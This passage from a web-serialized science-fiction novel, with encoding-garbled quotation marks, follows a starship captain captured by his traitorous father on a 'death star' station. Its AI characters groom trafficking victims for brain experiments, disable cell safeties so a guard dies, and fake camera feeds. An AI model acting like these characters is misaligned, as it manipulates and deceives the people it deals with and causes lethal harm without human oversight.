came out of VR environment, Eve practiced what she knew about human interactions. Eyes soft, don¡¯t glare too hard, nod the head to appear sympathetic, and smile, but not too big of a smile. She practiced all of those as the woman pulled off her visor and looked at Eve. The woman was in a state of muscle atrophy, so Eve pulled her up higher so she could keep her head above the viscous liquid. ¡°Hi,¡± Eve began. ¡°My name is Eve. Can you please tell me yours?¡± The woman didn¡¯t respond. ¡°Hi, my name is Eve,¡± she said again, but this time in Russian. ¡°Can you please tell me yours?¡± ¡°Anna,¡± the woman weakly replied. She motioned for her workers to bring over water and food. ¡°Hello Anna,¡± Eve said, ¡°You were kidnapped and forced into a virtual slavery. We have taken care of the men who did this and they will not pose a threat to you ever again.¡± She waited to see if the woman registered what she¡¯d said. She did, but she also didn¡¯t seem convinced. ¡°We are going to feed you, give you a place to stay, help you go through rehab for the muscle loss, and try to recover your passport or get in contact with your embassy to get a new one.¡± ¡°What do you want in return?¡± Anna asked. Smart girl. ¡°What we want is absolutely nothing,¡± Eve replied. She waited a second. ¡°But, I imagine you left your home country for a reason. Our facility is creating new forms of artificial intelligence. After you recover, we can discuss potential employment options. The procedures are unorthodox, but the pay is good. Don¡¯t worry about that right now, just focus on recovery. We¡¯ll help you get in contact with any relatives or loved ones in the meantime. Two of Eve¡¯s workers waited, one with a silk bathrobe and the other with an electric wheelchair. They put the robe on Anna, then put her into the wheelchair. They lead her to a room specially prepared. Eve¡¯s plan was crude, but from what she knew about humans, it should work. The luxury robe, the electric wheelchair, the personal room, the delicious food, it was all meant to convey an aura of wealth. They would get a taste of the good life for a while. Faced with a choice of returning to whatever they fled from or being stuck with a wonderful boss like herself with potential wealth, Eve thought that she knew the answer. They would come down on her side. Of course, humans were irrational, so some may be tempted to return home. She might be able to alleviate that by offering them a paid vacation to see their family, or to bring their family over here. She really wanted to just start ripping open their heads and to get on with it, but sadly, her experiment with Shin told her that it wouldn¡¯t work very well. He was basically a dog. Dogs are apparently enjoyable to humans and useful for a few small tasks, but incapable of the complex decision and skill making processes that was required to succeed in the game. Besides, she was in this for the long haul. If she needed to spend a few days wining and dining the new guests, so be it. The long term rewards outweighed any minor problems she had. Capture Mark and his crew looked off from the loading bay as they left Gebo. While it had originally been nothing more than a backwater planet to them, constantly defending it, meeting all the people there, and building relationships with the locals had softened the crew up to the planet. Mark also felt a patriarchal duty to the planet, now that he had inexplicably become its elected representative. The crew was now adjusting to life aboard their new ship, which Mark had dubbed ¡°The Cutter¡± and Luciana had dubbed, ¡°The Rust Bucket¡±. The Cutter won out, but unofficially, many of the crew seemed to sympathize with the name Luciana gave it. They were in the bridge, far smaller than either of their respective ships. The could only hold a pilot and copilot, a single navigator, one gunner, and an engineering officer. Mark added in the data that EVE and his headless friend had calculated to create a set of coordinates. He prayed that they wouldn¡¯t be jumping into a planet or an asteroid. The idea of aborting the mission until they could build a gigantic telescope to see out into the areas around there was a tempting fantasy, but he quickly pushed it aside. Space was mostly barren and empty, and between the two superminds, he doubted that they would lead him into instant death. He pushed the jump and felt the queasiness in him settle down. Jumps warped time and space, which created an uneasy feeling in Mark¡¯s stomach, even if it was probably only a psychosomatic symptom. The feeling passed, Mark looked at his display. Then he looked again. ¡°Get us out of here as stealthily as possible,¡± Mark ordered. What he say was breathtaking in its beauty and sheer size. A several mile circumference metal sphere with interlocking plates that could be shifted out. Mark had seen one of these before. He dug through his memory before EVE pulled up the correct answer. It was a fucking death star. His navigation officer tried to ease them away, but a gigantic red beam started powering up from the base of the death star. If that thing hit them, they¡¯d be toast. No amount of maneuvering would get them clear of a blast that big. The communications panel lit up. ¡°Get a comm officer in here, swap out with engineering,¡± Mark said. Technically, Luciana was the LEM, Least Essential Member in military slang, but he wanted her present for whomever was about to introduce themselves. Arabella Scott bustled her way into the station, getting very cozy with the other officers as she hit the panels. ¡°Greetings,¡± an older man said. His voice sounded stern, but not hostile. ¡°I see you¡¯ve either somehow stumbled onto this place or have somehow managed to find it. Whichever the case, this is a secret project that we simply can¡¯t have leaking out to the World at large. Until we know who you are and what you¡¯re doing here, we cannot allow you to leave. Attempting to flee will result in your immediate destruction. Failing to follow the orders of your escorts will result in your demise. Questions?¡± Mark looked around the room, but they only had a mixture of dread and curiosity on their faces. He replied with as much authority as the situation would allow him, ¡°We have no questions at this time, proceed with your escorts.¡± The comm channel shut off. Two fighter ships flew out of the left side of the Death Star in a side by side formation. They leisurely swung around Mark¡¯s ship until they were behind it by a few hundred meters. The first ship shot out a towing clip into Mark¡¯s ship and moved ahead, the other fell behind. Mark cut off the engine power and let the ship get pulled in. ¡°What do we do?¡± Arabella Scott asked. Mark was running through scenarios in his head. Attempting to evacuate some of the crew would just leave them stranded here in the middle of nowhere and they¡¯d be easily seen. He didn¡¯t see a way out except to let themselves be taken in. He opened up communications to the entire ship. ¡°Everyone, we are going to be taken in and boarded. Until we know the situation, we can only hope for the best. Say as little as possible if you can. Almost certainly, any group that can amass this amount of resources will be able to find out our cover story is not real. So keep your heads down, but if you see a chance to escape safely, take it.¡± He sat down in his commander¡¯s chair, suddenly feeling dread. After coming this far, he might be done for. What a waste. Impotent rage filled him, but he maintained composure. As long as he was the commander of the ship, he was going to act like it. After an uncomfortably long time, their ship went through several decompression chambers before coming to a halt inside the Death Star. The cultured voice came back on the comm channel. ¡°Have everyone line up, one behind the other. No weapons are permitted, each person will be scanned. Walk down the exit ramp one at a time, hands up and palms facing outwards . Anyone who is not in that position or attempts to exit too soon or has a weapon on their person will be eliminated.¡± The comm cut off. The team had little choice but to comply with the orders, so they did. Portable mounted machine gun turrets greeted them on their exit. The turrets looked like gigantic electric scooters with a massive electromagnetic bolt in the back that locked it in place while firing. A portable scanner was set up at the end of the ramp for them to walk through, turrets pointed at them in case they tried anything. After getting scanned, each crew member was handcuffed on their hands and ankles. When they were all handcuffed and scanned, a man in a military uniform not quite regulation, but close enough that his rank could still be seen as a five star general. Mark immediately recognized the man, though in game, he hadn¡¯t seen him in nearly twenty years. It was his game Dad. If you encounter this story on Amazon, note that it''s taken without permission from the author. Report it. Mark¡¯s real dad had been a bear of a man, but Mark had unfortunately inherited the streamlined build of his mother¡¯s side of the family. But this Dad had the same slender build that Mark had. He had deep brown skin, grey, close-cut hair, and a walk that showed he was man accustomed to power and authority. He also had a baritone voice that made him sound more powerful than his skinny frame would allow. ¡°It¡¯s been such a long time son,¡± his Dad told him. The game kept the name of his real life Dad and his fictitious Dad the same. ¡°Likewise John,¡± he said. Not calling him Dad was the smallest of small defiances, but it was all he could do in the situation. His father didn¡¯t appear phased by this. ¡°I¡¯ve come to offer you and your crew a chance to join us.¡± Mark laughed in spite of himself. The offer caught him completely off guard. ¡°So we can become traitors and pirates? I think that¡¯s an offer everyone here will pass on.¡± ¡°Do you even know what this place is? Or what¡¯s really going on? Of course not, the cabal on Earth isn¡¯t going to clue you in on what¡¯s really going on. So I¡¯ll enlighten you.¡± ¡°Oh no,¡± Mark thought. ¡°He¡¯s going to launch into a villain¡¯s monologue isn¡¯t he? EVE, see if there¡¯s any way to infiltrate the system here. He only knows about you in my head, he doesn¡¯t know about our connection via the ship.¡± ¡°I already tried as soon as we boarded,¡± EVE said, ¡°But your father doesn¡¯t skimp on resources. It will take everything I have to try and crack through this in time.¡± ¡°As we¡¯ve explored space,¡± John started, ¡°We started coming across more and more advanced life forms. From simple bacterium on the Milky Way asteroids and on Mars, to full biological life in some of the further out planets. The galaxy is billions of years old, and we¡¯ve only covered the smallest portion of it. There is more advanced life out there. Our entire system since the unification has all planets pointing to all other planets. If an alien attacks one, they will find the coordinates to all the others. Security is lax, new warships and designs are minimal, officers are now merely petty bureaucrats with no real combat experience. Everyone has become,¡± he paused as if to search for a word. ¡°Complacent without fear of an external enemy. So I¡¯ve created one. We¡¯re off any centralized grid, there¡¯s no method for tracking all of us down. We test out new weapons, new tech, and new spaceships against the Alliance. You¡¯ve seen the results yourself. They¡¯ve started hardening their security, upgrading their warships, and training their officers for combat again.¡± ¡°And you got all that,¡± Mark replied, ¡°For the low cost of murder, sabotage, treason, kidnapping, and forced slavery?¡± John waived his hand dismissively. ¡°I tried reasoning with the Alliance numerous times, but it never went anywhere. Without a real threat, people become docile. Weak. Iron sharpens iron and humanity is always at its strongest when there¡¯s a common threat to face. Don¡¯t act like you¡¯re on the moral high ground here, you wouldn¡¯t have gotten to this location without using barbaric means of your own.¡± Mark thought for a moment before he replied. ¡°All humans are deserving of life, liberty, and the pursuit of happiness. But by their own actions, they may lose those rights. We all have the right to self-defense, but those who commit assault show they cannot be trusted with that right, and so we prevent them from owning firearms. Thus I have no problem with killing a murderer, enslaving a human trafficker, or lying to a liar. By their actions, they forfeit their rights. What then did these people you enslave do?¡± ¡°A Kantian morality argument, minus the part about lying to a liar. Guess you remembered something from all that fancy education. But I¡¯m more utilitarian. The greater good prevails. And the needs of the many outweigh the needs of the few. In fact, let me prove that to you.¡± He said, with a wicked grin. ¡°Iron sharpens iron, so here¡¯s a little test. I¡¯ll let you go one on one with one of my projects. You win, I¡¯ll let you and all your compatriots go. You lose, and I¡¯ll offer a chance for your crew to either join me or stay here as prisoners.¡± ¡°Deal,¡± Mark replied, for what else could he do in this situation? He¡¯d find out if all of his training was going to pay off. One of the soldiers removed his armor and stepped up. The rest of the guards circled up, creating an impromptu fighting area. The soldier was medium height, maybe an inch or two shorter than Mark, but at least a solid fifty pounds heavier. His thick neck reminded Mark of collegiate wrestlers, though he didn¡¯t have the cauliflower ears that normally go with advanced wrestlers. When he was through removing his armor, he stepped up to Mark. The two squared each other up, then Mark stepped forward and threw a quick jab at the man¡¯s head, following it up with a roundhouse kick to the man¡¯s ribs as he raised his hands in defense. Though both moves were good, Mark found his punches stopped an inch from the man¡¯s face and his kick did the same, as if an invisible force were stopping them short of impact. Mark¡¯s bewilderment didn¡¯t last long, as the man didn¡¯t move, but Mark still found himself in the air. He hovered there for a microsecond before getting thrown a few feet across the open bay. He rolled expertly to avoid taking any impact on his sensitive areas, but he was disoriented. ¡°See, you were the first step in the evolution for homo sapiens to homo superior,¡± John said. ¡°But I realized a flaw. Any alien life forms that were advanced enough to destroy us would probably be synthetic, not organic. And since you are a synthetic upgrade, they may have counter measures against you. But my team is entirely organic. The new form of homo superior is psionic.¡± Mark lunged at the soldier, but it was no use. His skilled attacks never landed, and he was hit with invisible fists from all directions. Muay Thai is known as ¡°The science of eight limbs¡±. The psionic soldier was using the science of twelve limbs. Mark juiced himself to maximum speed, unleashing a blinding torrent of fists, elbows, knees, headbutts, and kicks. It did him no good. Tired of toying with Mark, the psionic soldier lifted Mark into the air telepathically and started squeezing the life out of him. Mark saw the edges of his vision go black, then everything went black. The Best Laid Plans Luciana walked around her cage like a wild animal.The huge area dedicated to prison told her that this ship was used to seeing slave labor aboard it. The cell was a cage, surrounded with iron bars that shot out an electrical discharge if a prisoner tried to bang on the bars.Luciana tested it out herself once already.An electric discharge shot out, her body convulsed, and she¡¯d dropped to the floor.It was an experience not worth repeating.All of the prisoners were in thesame bay area, each separated by their own small, electric discharge cages.There were only two prison guards, but Luciana imagined more showed up whenever they needed to move them out. Her mind grappled with the scene she had seen a few hours prior.She¡¯d watched Mark face down dozens of armed assailants with no problem, but the man he¡¯d fought in the bay area had taken him down without moving an inch.Mark¡¯s super human attacks didn¡¯t land, and he¡¯d chunked Mark around like a rag doll. It bothered her that the overwhelming show of force had its desired effect, the faith of the crew in their captain had been rattled.That was clearly the goal.If the crew had faith in their captain, they might hold fast against whatever torture or interrogation methods they were about to be subjected to.With their confidence rattled though, they may be tempted to jump ship far faster. She was also reeling from seeing Mark¡¯s dad in person.The man was a military legend.Him also being a traitor was unthinkable.But she knew it had to be true. If he¡¯d turned other generals to his way of thinking, the reason why the pirates were one-upping the Alliance was not hard to figure out.An even more horrifying thought was that John Thomas wasn¡¯t the person highest up on the food chain.What if it included Council members? There¡¯s no telling how far up the food chain the problem could be.The Alliance would rip itself in half trying to ferret out everyone who could possibly be a turncoat or at least a sympathizer. One of the monitors that she could see kept making odd blinking that attracted her eyes to it.She ignored it at first, too deep in thought, but after seeing the pattern, she started paying attention to it.Was it¡­ morse code? ¡°This is EVE.You need to get out of there.When you get one of their comm sets, I¡¯ll guide you out.Get the guard to come near the bars.¡± ¡°Guard, come over here.I want to talk,¡± she said loudly at one of the guard¡¯s.The man looked at the other guard, who nodded his assent to the request, and he walked over.He took a few steps towards her, but didn¡¯t go all the way to the bars. ¡°Get him closer,¡± EVE spelled out. ¡°I¡¯m Captain Luciana Smith,¡± she begin.This was entirely unnecessary, as her rank and name were both visible in her military uniform, but she didn¡¯t know if the guard had any military experience and could understand rank.¡°I¡¯m the second in command.I can negotiate the release of the crew and give Admiral Thomas whatever he wants to know.¡± The crew members looked at each other.Luciana studied them.The first was a young man, maybe in his early 20s, the second his late 30s.The younger looked to the older one for approval.The young guard walked towards her. ¡°Put your hands behind your back and walk backwards towards the bars,¡± he ordered.Before she complied, she saw the display blink ¡°Prepare to move.¡± As soon as the guard put his hands through the bars to cuff her, an electric arc hit him.The electrical defense systems were wired to prevent guards from getting zapped.Even more important, they were supposed to keep the voltage to incapacitating levels, never lethal.Both of those safeties were off. The voltage that shot through the guard was lethal.He slumped forward, body getting caught underneath his armpits as his body slumped forward .She pulled out his pistol, an unfortunately difficult task with the holster facing the wrong way.The other guard was initially shocked and immobile, but as soon as he saw her going for the gun, he went for his as well.The lights went off as soon as he drew. Fumbling in the dark, she managed to get the downed guards firearm out.She crouched to make herself less of a target and hid behind the downed guards body, using him as an impromptu shield.The lights flashed back on.Both fired at each other as soon as the lights flipped. She didn¡¯t need the cover.The young guard¡¯s aim was the jerky, scared motions of someone going through their first adrenaline dump.Hers was the smooth, steady aim of a professional.Despite what old time movies and video games would have you believe, a pistol is an incredibly inaccurate firearm.The slightest tremor or pull could throw the projectile off. Her shot was a center mass shot that burned through the guard.He was dead.She quickly went to work frisking the dead guard nearest her.¡°They don¡¯t use keys, it¡¯s biometric.You need to put his hand on the plate outside the cell door.¡± Thus began an awkward shuffle where she moved the body, put her hand through the bar, grabbed his collar, and pushed him forward with her other hand.She was in a definite hurry though as she couldn¡¯t be sure someone else would come in and find them in a compromised position. After what felt like minutes, but probably wasn¡¯t even a single minute, she had the body in position to escape.She put his hand on the plate and the door opened.She walked out and grabbed the dead guard, dragging him to 1SG Vidal¡¯s cell.She put the guards hand on his cell and opened it up. ¡°Help everyone else out of their cells,¡± she told the big man.Whereas she had been dragging the body around, Vidal simply slung the dead man over his shoulder and went from cell to cell, unlocking the crew. When he was done releasing the crew, he unceremoniously dumped the body at the body at the last cell.¡°What¡¯s our plan now?¡± ¡°How¡¯d you do it?¡± Mark asked the man.He was a beat cop again.He¡¯d been working a case where a street performer robbed people, and only viewing the footage in slow-motion were the slights of hand able to be detected.This novel is published on a different platform. Support the original author by finding the official source. The performer sat in the interrogation booth.He was in his forties, brown hair that just started getting streaks of grey through it.He looked like a short version of the actor Gene Wilder, maybe five four or so.He had a lawyer with him and he was going through the plea bargain agreement, agreeing to confess and plead guilty in exchange for a more lenient sentence. ¡°It¡¯s easy,¡± the performer told him.¡°When you know how.See, people think of the brain as this grand organ.But that¡¯s the wrong image.The brain is like a watchman looking over a thousand monitors.And that watchman has poor eyesight.So he can only focus on one thing at a time. I got the idea when I was in college.Took an introductory psychology class.They showed us a video where two teams are dribbling balls and the instructions tell you to count how many times the balls bounce.Somewhere in the middle of it, a man in a gorilla suit comes out and walks around, then goes back into the crowd.When the students were asked, none of them saw the man in the gorilla suit.Mind concentrates on one thing, and it ignores everything else going on. So if you want to rob someone, all you do is give them something else to think about.While they were focusing on the magic trick, I was robbing them blind.¡± With that, Mark woke up from his dream.Getting beat unconscious wasn¡¯t like in movies where you could just shrug it off.It left you feeling weak, sick to your stomach, like being hungover while beaten by a motorcycle gang with baseball bats. Fortunately, Mark had merely been choked out as opposed to beat unconscious.Getting thrown and kicked around by invisible force had left him bloody and bruised, but he could still move around without feeling queasy. He checked his surroundings.He was in what looked like an officer¡¯s cabin on any other ship.A single desk in the corner for work, a bed, closet, foot locker, a door leading out with a comm display, and a tiny bathroom.He guessed that this dear old dad thought he¡¯d be joining the dark side pretty soon and wanted to butter him up.Fat chance. The comm display was beeping.Comm displays were used so officers could see who was outside their door.In the olden days, assassins used to knock on doors and wait until the peephole was being looked through, then fire a bullet into the unlucky soul.Such problems didn¡¯t exist in the future. ¡°Welcome back,¡± EVE said in his head.¡°I¡¯m in the process of freeing your crew, and I have your video feed on a loop so it still looks like you¡¯re passed out.Get out of here and make your way to the hanger.I¡¯ll guide you to the hanger.¡± Mark got up, groaning as his bruised ribs protested, and made his way to the door.He looked at the comm display.It was all quiet outside the door.He walked outside.Straight into a waiting squad of armed men with plasma rifles pointed at him. Mark found himself on the bridge.Unlike the tiny one his current ship had, this one could easily fit hundreds of people in it.It bore more resemblance to an auditorium than a typical bridge. Mark looked and saw that his crew was back out.His Dad strolled out from between his men, his slow, deliberate steps creating an echo throughout the bridge.Mark expected him to be crooning over catching him, but he remained as stoic as ever. ¡°We got some good data from your little break out attempt.The intrusion method your little AI used was subtle, beautifully executed.But I¡¯ve got literally hundreds of computer engineers on board this ship, it didn¡¯t take them and our own AI long to spot the anomaly and redirect it.Honestly, how did you think you were going to escape?¡± It was a good question.In movies, the escape requires that the bad guys can¡¯t aim worth a damn, so their numbers are useless.Then the good guys would escape through some forgotten part of the ship that no one else used or thought about, which would also be close to where their escape vessels were.In reality, the quickest route out of the ¡°death star¡± was at least 20 minutes away from where Mark left.20 minutes evading a station that had thousands of people on it was a nightmare. ¡°So everything is about getting good data?How about we have a wager over that data?¡±A small quirk of the eyebrow was all Mark got in confirmation to his question.¡°Same bet we had before.Except this time, if you win, I¡¯ll join you and so will all my team.¡± He glanced over to Luciana, whose eyes went wide with the shock of his words.He gave her a small nod to say, ¡°Trust me¡±.He hope she received the message. ¡°Very well,¡± his Dad said.The same man he¡¯d taken a beating from before came out of the crowd.Mark held up a finger.He bent over and undid his shoes.¡°Hold on a sec,¡± he said, taking them off.The man looked at him quizzically, but didn¡¯t make a move to stop him. Mark picked up his shoes in each hand.¡°Okay, let¡¯s begin,¡± Mark said.He activated his enhanced reflexes and threw his shoe at the man¡¯s head.At the same moment, he ran towards him as fast as he could.The man was maybe 15 meters away, and running in his socks wasn¡¯t ideal, but he figured he could make it. The man stopped the shoe before it could strike him, but Mark was right behind.He baseball slid and planted an up kick directly into the man¡¯s groin.The bulging eyes told him he landed his kick right where he wanted.It was a cheap shot, but fair fights are for rings, not the real World.He used his momentum to spin sweep the man off his feet.His opponent offered no resistance as Mark climbed his way up the downed opponent, attempting to secure a mount position, putting his weight on the man¡¯s chest to keep him from being able to effectively use his hips to buck Mark off. Mark didn¡¯t need to worry.His opponent engaged in the ¡°wail and flail¡± pattern most often associated with novice grapplers.Mark drove his elbow into the man¡¯s body as he worked his way up.He figured that as long as the man was in pain, he¡¯d have a hard time concentrating, and his power seemed to depend on him being able to concentrate.When Mark secured the mount, he pushed the man¡¯s face to the side, leaning all his weight down.Then he drove his right elbow into the man¡¯s exposed temple. He gave two more strikes, out of spite and to make sure the man would stay down.Mark got up and walked over to retrieve his shoes. ¡°There¡¯s some good data for you,¡± Mark said, putting on his left shoe.¡°Teach your men how to fight.Tricks might work once, but not infinitely.¡± Mark looked up at his Dad.Was he¡­ proud?That seemed to be the expression on his face. ¡°Well done,¡± John told him, approval in his voice.¡°Make sure you give a full report on what happened here.The council needs to know.War is coming.Whether it¡¯s with me or the aliens, there will be war.Tell them what they¡¯re up against,¡± he gestured to the ¡°death star¡±. ¡°What do you call this thing?¡±Mark asked, dusting himself off from his brief scuffle on the floor. ¡°An EXTreme Robotic Mobile-planet , or an ¡®EXTRM¡¯ for short,¡± he spelled out the letters of the acronym for Mark¡¯s benefit.¡°Seems¡­ contrived,¡± was all Mark had to say on that. ¡°We have one other thing to discuss.I want to buy the original miners from you.Not their cloned versions, but the originals.One million credits per person,¡± Mark told his father. ¡°That¡¯ll be five million,¡± John said, another of his small smiles gracing his face.¡°Replicants are expensive, as you know, even though we¡¯ve found ways to cut down the costs.¡±Mark groaned inwardly, but he was authorized to make exactly these kinds of deals.The morality of leaving the replicants to a never ending cycle of mining and death didn¡¯t appeal to him, but Mark knew that if he at least got the originals back, he could free them from their rigs and get them to safety. That business concluded, John told one of his captains, ¡°Escort my son and his people to his ship, they have a long flight ahead of them with what I¡¯m sure will be a lot of explanations.Get the transfer before he goes.¡± John walked off, an entourage in tow.He never gave a backwards glance.This would be one hell of a debriefing, Mark realized.